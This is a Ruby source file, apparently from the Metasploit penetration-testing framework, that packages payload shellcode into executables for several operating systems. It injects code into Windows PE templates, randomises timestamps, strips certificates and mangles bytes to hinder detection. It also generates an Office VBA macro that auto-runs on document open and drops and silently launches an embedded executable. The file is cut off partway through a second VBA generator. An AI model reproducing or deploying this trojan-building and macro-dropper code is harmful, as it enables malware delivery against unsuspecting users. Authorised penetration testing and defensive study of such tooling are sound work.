metasploit-framework/lib/msf/util/exe.rb

# -*- coding: binary -*-

module Msf
module Util

#
# The class provides methods for creating and encoding executable file
# formats for various platforms. It is a replacement for the previous
# code in Rex::Text
#
class EXE

require 'rex'
require 'rex/peparsey'
require 'rex/pescan'
require 'rex/zip'
require 'metasm'
require 'digest/sha1'

	##
	#
	# Helper functions common to multiple generators
	#
	##

	def self.set_template_default(opts, exe = nil, path = nil)
		# If no path specified, use the default one.
		path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates")

		# If there's no default name, we must blow it up.
		if not exe
			raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!'
		end

		# Use defaults only if nothing is specified
		opts[:template_path] ||= path
		opts[:template] ||= exe

		# Only use the path when the filename contains no separators.
		if not opts[:template].include?(File::SEPARATOR)
			opts[:template] = File.join(opts[:template_path], opts[:template])
		end

		# Check if it exists now
		return if File.file?(opts[:template])

		# If it failed, try the default...
		if opts[:fallback]
			default_template = File.join(path, exe)
			if File.file?(default_template)
				# Perhaps we should warn about falling back to the default?
				opts.merge!({ :fellback => default_template })
				opts[:template] = default_template
			end
		end
	end


	##
	#
	# Executable generators
	#
	##

	def self.to_executable(framework, arch, plat, code='', opts={})
		if (arch.index(ARCH_X86))

			if (plat.index(Msf::Module::Platform::Windows))
				return to_win32pe(framework, code, opts)
			end

			if (plat.index(Msf::Module::Platform::Linux))
				return to_linux_x86_elf(framework, code)
			end

			if(plat.index(Msf::Module::Platform::OSX))
				return to_osx_x86_macho(framework, code)
			end

			if(plat.index(Msf::Module::Platform::BSD))
				return to_bsd_x86_elf(framework, code)
			end

			if(plat.index(Msf::Module::Platform::Solaris))
				return to_solaris_x86_elf(framework, code)
			end

			# XXX: Add remaining x86 systems here
		end

		if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) )
			if (plat.index(Msf::Module::Platform::Windows))
				return to_win64pe(framework, code, opts)
			end

			if (plat.index(Msf::Module::Platform::Linux))
				return to_linux_x64_elf(framework, code, opts)
			end

			if (plat.index(Msf::Module::Platform::OSX))
				return to_osx_x64_macho(framework, code)
			end
		end

		if(arch.index(ARCH_ARMLE))
			if(plat.index(Msf::Module::Platform::OSX))
				return to_osx_arm_macho(framework, code)
			end

			if(plat.index(Msf::Module::Platform::Linux))
				return to_linux_armle_elf(framework, code)
			end

			# XXX: Add remaining ARMLE systems here
		end

		if(arch.index(ARCH_PPC))
			if(plat.index(Msf::Module::Platform::OSX))
				return to_osx_ppc_macho(framework, code)
			end
			# XXX: Add PPC OS X and Linux here
		end

		if(arch.index(ARCH_MIPSLE))
			if(plat.index(Msf::Module::Platform::Linux))
				return to_linux_mipsle_elf(framework, code)
			end
			# XXX: Add remaining MIPSLE systems here
		end

		if(arch.index(ARCH_MIPSBE))
			if(plat.index(Msf::Module::Platform::Linux))
				return to_linux_mipsbe_elf(framework, code)
			end
			# XXX: Add remaining MIPSLE systems here
		end
		nil
	end

	def self.to_win32pe(framework, code, opts={})

		# For backward compatability, this is roughly equivalent to 'exe-small' fmt
		if opts[:sub_method]
			if opts[:inject]
				raise RuntimeError, 'NOTE: using the substitution method means no inject support'
			end

			# use
			return self.to_win32pe_exe_sub(framework, code, opts)
		end

		# Allow the user to specify their own EXE template
		set_template_default(opts, "template_x86_windows.exe")

		# Copy the code to a new RWX segment to allow for self-modifying encoders
		payload = win32_rwx_exec(code)

		# Create a new PE object and run through sanity checks
		endjunk = true
		fsize = File.size(opts[:template])
		pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
		text = nil
		sections_end = 0
		pe.sections.each do |sec|
			text = sec if sec.name == ".text"
			sections_end = sec.size + sec.file_offset if sec.file_offset >= sections_end
			endjunk = false if sec.contains_file_offset?(fsize-1)
		end
		#also check to see if there is a certificate
		cert_entry = pe.hdr.opt['DataDirectory'][4]
		#if the cert is the only thing past the sections, we can handle.
		if cert_entry.v['VirtualAddress'] + cert_entry.v['Size'] >= fsize and sections_end >= cert_entry.v['VirtualAddress']
			endjunk = false
		end

		#try to inject code into executable by adding a section without affecting executable behavior
		if(opts[:inject])
			if endjunk
				raise RuntimeError, "Junk at end of file. Is this a packed exe?"
			end

			#find first section file offset and free RVA for new section
			free_rva = pe.hdr.opt.AddressOfEntryPoint
			first_off = sections_end
			pe.sections.each do |sec|
				first_off = sec.file_offset if sec.file_offset < first_off
				free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
			end
			#align free_rva
			free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment

			#See if we can add a section
			first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
			new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
			if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
				raise RuntimeError, "Not enough room for new section header"
			end

			# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
			start_rva = free_rva

			#make new section, starting at free RVA
			new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
			#pad to file alignment
			new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))

			#make new section header
			new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
			new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name
			new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
			new_sechead.v['VirtualAddress'] = free_rva
			new_sechead.v['SizeOfRawData'] = new_sec.length
			new_sechead.v['PointerToRawData'] = sections_end

			# Create the modified version of the input executable
			exe = ''
			File.open(opts[:template], 'rb') { |fd|
				exe = fd.read(fd.stat.size)
			}

			#New file header with updated number of sections and timedatestamp
			new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
			new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
			new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
			new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
			exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s

			#new optional header with new entry point, size of image, and size of code
			new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
			new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
			new_opthead.v['AddressOfEntryPoint'] = start_rva
			new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
			new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
			exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
			#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
			exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
			#kill certificate; if it exists, we just invalidated it
			exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8

			#new section header and new section
			exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
			exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec
			exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1)

			cks = pe.hdr.opt.CheckSum
			if(cks != 0)
				exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
			end

			pe.close

			return exe
		end

		if(not text)
			raise RuntimeError, "No .text section found in the template"
		end

		if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
			raise RuntimeError, "The .text section does not contain an entry point"
		end

		p_length = payload.length + 256
		if(text.size < p_length)
			fname = ::File.basename(opts[:template])
			msg  = "The .text section for '#{fname}' is too small. "
			msg << "Minimum is #{p_length.to_s} bytes, your .text section is #{text.size.to_s} bytes"
			raise RuntimeError, msg
		end

		# Store some useful offsets
		off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
		off_beg = pe.rva_to_file_offset(text.base_rva)

		# We need to make sure our injected code doesn't conflict with the
		# the data directories stored in .text (import, export, etc)
		mines = []
		pe.hdr.opt['DataDirectory'].each do |dir|
			next if dir.v['Size'] == 0
			next if not text.contains_rva?( dir.v['VirtualAddress'] )
			mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ]
		end

		# Break the text segment into contiguous blocks
		blocks = []
		bidx   = 0
		mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
			bbeg = bidx
			bend = mine[0]
			if(bbeg != bend)
				blocks << [bidx, bend-bidx]
			end
			bidx = mine[0] + mine[1]
		end

		# Add the ending block
		if(bidx < text.size - 1)
			blocks << [bidx, text.size - bidx]
		end

		# Find the largest contiguous block
		blocks.sort!{|a,b| b[1]<=>a[1]}
		block = blocks[0]

		# TODO: Allow the entry point in a different block
		if(payload.length + 256 > block[1])
			raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"
		end

		# Make a copy of the entire .text section
		data = text.read(0,text.size)

		# Pick a random offset to store the payload
		poff = rand(block[1] - payload.length - 256)

		# Flip a coin to determine if EP is before or after
		eloc = rand(2)
		eidx = nil

		# Pad the entry point with random nops
		entry = generate_nops(framework, [ARCH_X86], rand(200)+51)

		# Pick an offset to store the new entry point
		if(eloc == 0) # place the entry point before the payload
			poff += 256
			eidx = rand(poff-(entry.length + 5))
		else          # place the entry pointer after the payload
			poff -= 256
			eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
		end

		# Relative jump from the end of the nops to the payload
		entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')

		# Mangle 25% of the original executable
		1.upto(block[1] / 4) do
			data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
		end

		# Patch the payload and the new entry point into the .text
		data[block[0] + poff, payload.length] = payload
		data[block[0] + eidx, entry.length]   = entry

		# Create the modified version of the input executable
		exe = ''
		File.open(opts[:template], 'rb') { |fd|
			exe = fd.read(fd.stat.size)
		}

		exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V")
		exe[off_beg, data.length] = data

		tds = pe.hdr.file.TimeDateStamp
		exe[ exe.index([ tds ].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")

		cks = pe.hdr.opt.CheckSum
		if(cks != 0)
			exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
		end

		pe.close

		exe
	end

	def self.to_winpe_only(framework, code, opts={}, arch="x86")

		if arch == ARCH_X86_64
			arch = ARCH_X64
		end

		# Allow the user to specify their own EXE template
		set_template_default(opts, "template_"+arch+"_windows.exe")

		pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)

		exe = ''
			File.open(opts[:template], 'rb') { |fd|
				exe = fd.read(fd.stat.size)
			}

		sections_header = []
		pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] }


		#look for section with entry point
		sections_header.each do |sec|
			virtualAddress = sec[1][0xc,0x4].unpack('L')[0]
			sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0]
			characteristics = sec[1][0x24,0x4].unpack('L')[0]
			if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
				#put this section writable
				characteristics|=0x80000000
				newcharacteristics = [characteristics].pack('L')
				exe[sec[0],newcharacteristics.length]=newcharacteristics
			end
		end

		#put the shellcode at the entry point, overwriting template
		exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code

		return exe
	end

	def self.to_win32pe_old(framework, code, opts={})

		payload = code.dup
		# Allow the user to specify their own EXE template
		set_template_default(opts, "template_x86_windows_old.exe")

		pe = ''
		File.open(opts[:template], "rb") { |fd|
			pe = fd.read(fd.stat.size)
		}

		if(payload.length <= 2048)
			payload << Rex::Text.rand_text(2048-payload.length)
		else
			raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
		end

		bo = pe.index('PAYLOAD:')
		raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo
		pe[bo, payload.length] = payload

		pe[136, 4] = [rand(0x100000000)].pack('V')

		ci = pe.index("\x31\xc9" * 160)
		raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\"" if not ci
		cd = pe.index("\x31\xc9" * 160, ci + 320)
		raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\"" if not cd
		rc = pe[ci+320, cd-ci-320]

		# 640 + rc.length bytes of room to store an encoded rc at offset ci
		enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
		lft = 640+rc.length - enc.length

		buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
		pe[ci, buf.length] = buf

		# Make the data section executable
		xi = pe.index([0xc0300040].pack('V'))
		pe[xi,4] = [0xe0300020].pack('V')

		# Add a couple random bytes for fun
		pe << Rex::Text.rand_text(rand(64)+4)

		return pe
	end

	def self.to_win32pe_exe_sub(framework, code, opts={})

		# Allow the user to specify their own DLL template
		set_template_default(opts, "template_x86_windows.exe")

		pe = ''
		File.open(opts[:template], "rb") { |fd|
			pe = fd.read(fd.stat.size)
		}

		bo = pe.index('PAYLOAD:')
		raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo

		if (code.length <= 4096)
			pe[bo, code.length] = [code].pack("a*")
		else
			raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
		end

		return pe
	end

	def self.to_win64pe(framework, code, opts={})

		# Allow the user to specify their own EXE template
		set_template_default(opts, "template_x64_windows.exe")

		pe = ''
		File.open(opts[:template], "rb") { |fd|
			pe = fd.read(fd.stat.size)
		}

		bo = pe.index('PAYLOAD:')
		raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo

		if (code.length <= 4096)
			pe[bo, code.length] = [code].pack("a*")
		else
			raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
		end

		return pe
	end

	def self.to_win32pe_service(framework, code, opts={})

		name = opts[:servicename]

		# Allow the user to specify their own service EXE template
		set_template_default(opts, "template_x86_windows_svc.exe")

		pe = ''
		File.open(opts[:template], 'rb') { |fd|
			pe = fd.read(fd.stat.size)
		}

		bo = pe.index('PAYLOAD:')
		raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo

		if (code.length <= 8192)
			pe[bo, code.length] = [code].pack("a*")
		else
			raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
		end

		if name
			bo = pe.index('SERVICENAME')
			raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
			pe[bo, 11] = [name].pack('a11')
		end

		if not opts[:sub_method]
			pe[136, 4] = [rand(0x100000000)].pack('V')
		end

		return pe
	end

	def self.to_win64pe_service(framework, code, opts={})

		name = opts[:servicename]

		# Allow the user to specify their own service EXE template
		set_template_default(opts, "template_x64_windows_svc.exe")

		pe = ''
		File.open(opts[:template], "rb") { |fd|
			pe = fd.read(fd.stat.size)
		}

		bo = pe.index('PAYLOAD:')
		raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo

		if (code.length <= 8192)
			pe[bo, code.length] = [code].pack("a*")
		else
			raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
		end

		if name
			bo = pe.index('SERVICENAME')
			raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
			pe[bo, 11] = [name].pack('a11')
		end

		if not opts[:sub_method]
			pe[136, 4] = [rand(0x100000000)].pack('V')
		end

		return pe
	end

	def self.to_win32pe_dll(framework, code, opts={})

		# Allow the user to specify their own DLL template
		set_template_default(opts, "template_x86_windows.dll")

		pe = ''
		File.open(opts[:template], "rb") { |fd|
			pe = fd.read(fd.stat.size)
		}

		bo = pe.index('PAYLOAD:')
		raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo

		if (code.length <= 2048)
			pe[bo, code.length] = [code].pack("a*")
		else
			raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
		end

		# optional mutex
		mt = pe.index('MUTEX!!!')
		pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt

		return pe
	end

	def self.to_win64pe_dll(framework, code, opts={})

		# Allow the user to specify their own DLL template
		set_template_default(opts, "template_x64_windows.dll")

		pe = ''
		File.open(opts[:template], "rb") { |fd|
			pe = fd.read(fd.stat.size)
		}

		bo = pe.index('PAYLOAD:')
		raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo

		if (code.length <= 2048)
			pe[bo, code.length] = [code].pack("a*")
		else
			raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
		end

		# optional mutex
		mt = pe.index('MUTEX!!!')
		pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt

		return pe
	end

	def self.to_osx_arm_macho(framework, code, opts={})

		# Allow the user to specify their own template
		set_template_default(opts, "template_armle_darwin.bin")

		mo = ''
		File.open(opts[:template], "rb") { |fd|
			mo = fd.read(fd.stat.size)
		}

		bo = mo.index('PAYLOAD:')
		raise RuntimeError, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag" if not bo
		mo[bo, code.length] = code

		return mo
	end

	def self.to_osx_ppc_macho(framework, code, opts={})

		# Allow the user to specify their own template
		set_template_default(opts, "template_ppc_darwin.bin")

		mo = ''
		File.open(opts[:template], "rb") { |fd|
			mo = fd.read(fd.stat.size)
		}

		bo = mo.index('PAYLOAD:')
		raise RuntimeError, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag" if not bo
		mo[bo, code.length] = code

		return mo
	end

	def self.to_osx_x86_macho(framework, code, opts={})

		# Allow the user to specify their own template
		set_template_default(opts, "template_x86_darwin.bin")

		mo = ''
		File.open(opts[:template], "rb") { |fd|
			mo = fd.read(fd.stat.size)
		}

		bo = mo.index('PAYLOAD:')
		raise RuntimeError, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag" if not bo
		mo[bo, code.length] = code

		return mo
	end

	def self.to_osx_x64_macho(framework, code, opts={})
		set_template_default(opts, "template_x64_darwin.bin")

		macho = ''

		File.open(opts[:template], 'rb') { |fd|
			macho = fd.read(fd.stat.size)
		}

		bin = macho.index('PAYLOAD:')
		raise RuntimeError, "Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag" if not bin
		macho[bin, code.length] = code

		return macho
	end

	# Create an ELF executable containing the payload provided in +code+
	#
	# For the default template, this method just appends the payload, checks if
	# the template is 32 or 64 bit and adjusts the offsets accordingly
	# For user-provided templates, modifies the header to mark all executable
	# segments as writable and overwrites the entrypoint (usually _start) with
	# the payload.
	#
	def self.to_exe_elf(framework, opts, template, code, big_endian=false)

		# Allow the user to specify their own template
		set_template_default(opts, template)

		# The old way to do it is like other formats, just overwrite a big
		# block of rwx mem with our shellcode.
		#bo = elf.index( "\x90\x90\x90\x90" * 1024 )
		#co = elf.index( " " * 512 )
		#elf[bo, 2048] = [code].pack('a2048') if bo

		# The new template is just an ELF header with its entry point set to
		# the end of the file, so just append shellcode to it and fixup
		# p_filesz and p_memsz in the header for a working ELF executable.
		elf = ''
		File.open(opts[:template], "rb") { |fd|
			elf = fd.read(fd.stat.size)
		}

		elf << code

		# Check EI_CLASS to determine if the header is 32 or 64 bit
		# Use the proper offsets and pack size
		case elf[4]
		when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9)
			if big_endian
				elf[0x44,4] = [elf.length].pack('N') #p_filesz
				elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
			else # little endian
				elf[0x44,4] = [elf.length].pack('V') #p_filesz
				elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
			end
		when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9)
			if big_endian
				elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
				elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
			else # little endian
				elf[0x60,8] = [elf.length].pack('Q') #p_filesz
				elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz
			end
		else
			raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
		end

		return elf
	end

	# Create a 32-bit Linux ELF containing the payload provided in +code+
	def self.to_linux_x86_elf(framework, code, opts={})
		unless opts[:template]
			default = true
		end

		if default
			elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
		else
			# If this isn't our normal template, we have to do some fancy
			# header patching to mark the .text section rwx before putting our
			# payload into the entry point.

			# read in the template and parse it
			e = Metasm::ELF.decode_file(opts[:template])

			# This will become a modified copy of the template's original phdr
			new_phdr = Metasm::EncodedData.new
			e.segments.each { |s|
				# Be lazy and mark any executable segment as writable.  Doing
				# it this way means we don't have to care about which one
				# contains .text
				if s.flags.include? "X"
					s.flags += [ "W" ]
				end
				new_phdr << s.encode(e)
			}

			# Copy the original file
			elf = File.open(opts[:template], "rb") {|fd| fd.read(fd.stat.size) }

			# Replace the header with our rwx modified version
			elf[e.header.phoff, new_phdr.data.length] = new_phdr.data

			# Replace code at the entrypoint with our payload
			entry_off = e.addr_to_off(e.label_addr('entrypoint'))
			elf[entry_off, code.length] = code
		end

		return elf
	end

	# Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+
	def self.to_bsd_x86_elf(framework, code, opts={})
		elf = to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
		return elf
	end

	# Create a 32-bit Solaris ELF containing the payload provided in +code+
	def self.to_solaris_x86_elf(framework, code, opts={})
		elf = to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
		return elf
	end

	# Create a 64-bit Linux ELF containing the payload provided in +code+
	def self.to_linux_x64_elf(framework, code, opts={})
		elf = to_exe_elf(framework, opts, "template_x64_linux.bin", code)
		return elf
	end

	def self.to_linux_armle_elf(framework, code, opts={})
		elf = to_exe_elf(framework, opts, "template_armle_linux.bin", code)
		return elf
	end

	def self.to_linux_mipsle_elf(framework, code, opts={})
		elf = to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
		return elf
	end

	def self.to_linux_mipsbe_elf(framework, code, opts={})
		elf = to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)
		return elf
	end

	def self.to_exe_vba(exes='')
		exe = exes.unpack('C*')
		vba = ""
		idx = 0
		maxbytes = 2000

		var_magic    = Rex::Text.rand_text_alpha(10).capitalize
		var_base     = Rex::Text.rand_text_alpha(5).capitalize
		var_base_idx = 0

		# First write the macro into the vba file
		var_fname = var_base + (var_base_idx+=1).to_s
		var_fenvi = var_base + (var_base_idx+=1).to_s
		var_fhand = var_base + (var_base_idx+=1).to_s
		var_parag = var_base + (var_base_idx+=1).to_s
		var_itemp = var_base + (var_base_idx+=1).to_s
		var_btemp = var_base + (var_base_idx+=1).to_s
		var_appnr = var_base + (var_base_idx+=1).to_s
		var_index = var_base + (var_base_idx+=1).to_s
		var_gotmagic = var_base + (var_base_idx+=1).to_s
		var_farg = var_base + (var_base_idx+=1).to_s
		var_stemp = var_base + (var_base_idx+=1).to_s

		# Function 1 extracts the binary
		func_name1 = var_base + (var_base_idx+=1).to_s

		# Function 2 executes the binary
		func_name2 = var_base + (var_base_idx+=1).to_s

		vba << "'**************************************************************\r\n"
		vba << "'*\r\n"
		vba << "'* This code is now split into two pieces:\r\n"
		vba << "'*  1. The Macro. This must be copied into the Office document\r\n"
		vba << "'*     macro editor. This macro will run on startup.\r\n"
		vba << "'*\r\n"
		vba << "'*  2. The Data. The hex dump at the end of this output must be\r\n"
		vba << "'*     appended to the end of the document contents.\r\n"
		vba << "'*\r\n"
		vba << "'**************************************************************\r\n"
		vba << "'*\r\n"
		vba << "'* MACRO CODE\r\n"
		vba << "'*\r\n"
		vba << "'**************************************************************\r\n"

		# The wrapper makes it easier to integrate it into other macros
		vba << "Sub Auto_Open()\r\n"
		vba << "\t#{func_name1}\r\n"
		vba << "End Sub\r\n"

		vba << "Sub #{func_name1}()\r\n"
		vba << "\tDim #{var_appnr} As Integer\r\n"
		vba << "\tDim #{var_fname} As String\r\n"
		vba << "\tDim #{var_fenvi} As String\r\n"
		vba << "\tDim #{var_fhand} As Integer\r\n"
		vba << "\tDim #{var_parag} As Paragraph\r\n"
		vba << "\tDim #{var_index} As Integer\r\n"
		vba << "\tDim #{var_gotmagic} As Boolean\r\n"
		vba << "\tDim #{var_itemp} As Integer\r\n"
		vba << "\tDim #{var_stemp} As String\r\n"
		vba << "\tDim #{var_btemp} As Byte\r\n"
		vba << "\tDim #{var_magic} as String\r\n"
		vba << "\t#{var_magic} = \"#{var_magic}\"\r\n"
		vba << "\t#{var_fname} = \"#{Rex::Text.rand_text_alpha(rand(8)+8)}.exe\"\r\n"
		vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n"
		vba << "\tChDrive (#{var_fenvi})\r\n"
		vba << "\tChDir (#{var_fenvi})\r\n"
		vba << "\t#{var_fhand} = FreeFile()\r\n"
		vba << "\tOpen #{var_fname} For Binary As #{var_fhand}\r\n"
		vba << "\tFor Each #{var_parag} in ActiveDocument.Paragraphs\r\n"
		vba << "\t\tDoEvents\r\n"
		vba << "\t\t\t#{var_stemp} = #{var_parag}.Range.Text\r\n"
		vba << "\t\tIf (#{var_gotmagic} = True) Then\r\n"
		vba << "\t\t\t#{var_index} = 1\r\n"
		vba << "\t\t\tWhile (#{var_index} < Len(#{var_stemp}))\r\n"
		vba << "\t\t\t\t#{var_btemp} = Mid(#{var_stemp},#{var_index},4)\r\n"
		vba << "\t\t\t\tPut ##{var_fhand}, , #{var_btemp}\r\n"
		vba << "\t\t\t\t#{var_index} = #{var_index} + 4\r\n"
		vba << "\t\t\tWend\r\n"
		vba << "\t\tElseIf (InStr(1,#{var_stemp},#{var_magic}) > 0 And Len(#{var_stemp}) > 0) Then\r\n"
		vba << "\t\t\t#{var_gotmagic} = True\r\n"
		vba << "\t\tEnd If\r\n"
		vba << "\tNext\r\n"
		vba << "\tClose ##{var_fhand}\r\n"
		vba << "\t#{func_name2}(#{var_fname})\r\n"
		vba << "End Sub\r\n"

		vba << "Sub #{func_name2}(#{var_farg} As String)\r\n"
		vba << "\tDim #{var_appnr} As Integer\r\n"
		vba << "\tDim #{var_fenvi} As String\r\n"
		vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n"
		vba << "\tChDrive (#{var_fenvi})\r\n"
		vba << "\tChDir (#{var_fenvi})\r\n"
		vba << "\t#{var_appnr} = Shell(#{var_farg}, vbHide)\r\n"
		vba << "End Sub\r\n"

		vba << "Sub AutoOpen()\r\n"
		vba << "\tAuto_Open\r\n"
		vba << "End Sub\r\n"

		vba << "Sub Workbook_Open()\r\n"
		vba << "\tAuto_Open\r\n"
		vba << "End Sub\r\n"
		vba << "'**************************************************************\r\n"
		vba << "'*\r\n"
		vba << "'* PAYLOAD DATA\r\n"
		vba << "'*\r\n"
		vba << "'**************************************************************\r\n\r\n\r\n"
		vba << "#{var_magic}\r\n"

		# Writing the bytes of the exe to the file
		1.upto(exe.length) do |pc|
			while(c = exe[idx])
				vba << "&H#{("%.2x" % c).upcase}"
				if (idx > 1 and (idx % maxbytes) == 0)
					# When maxbytes are written make a new paragrpah
					vba << "\r\n"
				end
				idx += 1
			end
		end
		return vba
	end

	def self.to_vba(framework,code,opts={})
		var_myByte    = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_myArray   = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_rwxpage   = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_res       = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_offset    = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_lpThreadAttributes = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_dwStackSize        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_lpStartAddress     = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_lpParameter        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_dwCreationFlags  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_lpThreadID       = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_lpAddr           = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_lSize            = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_flProtect        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_lDest        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
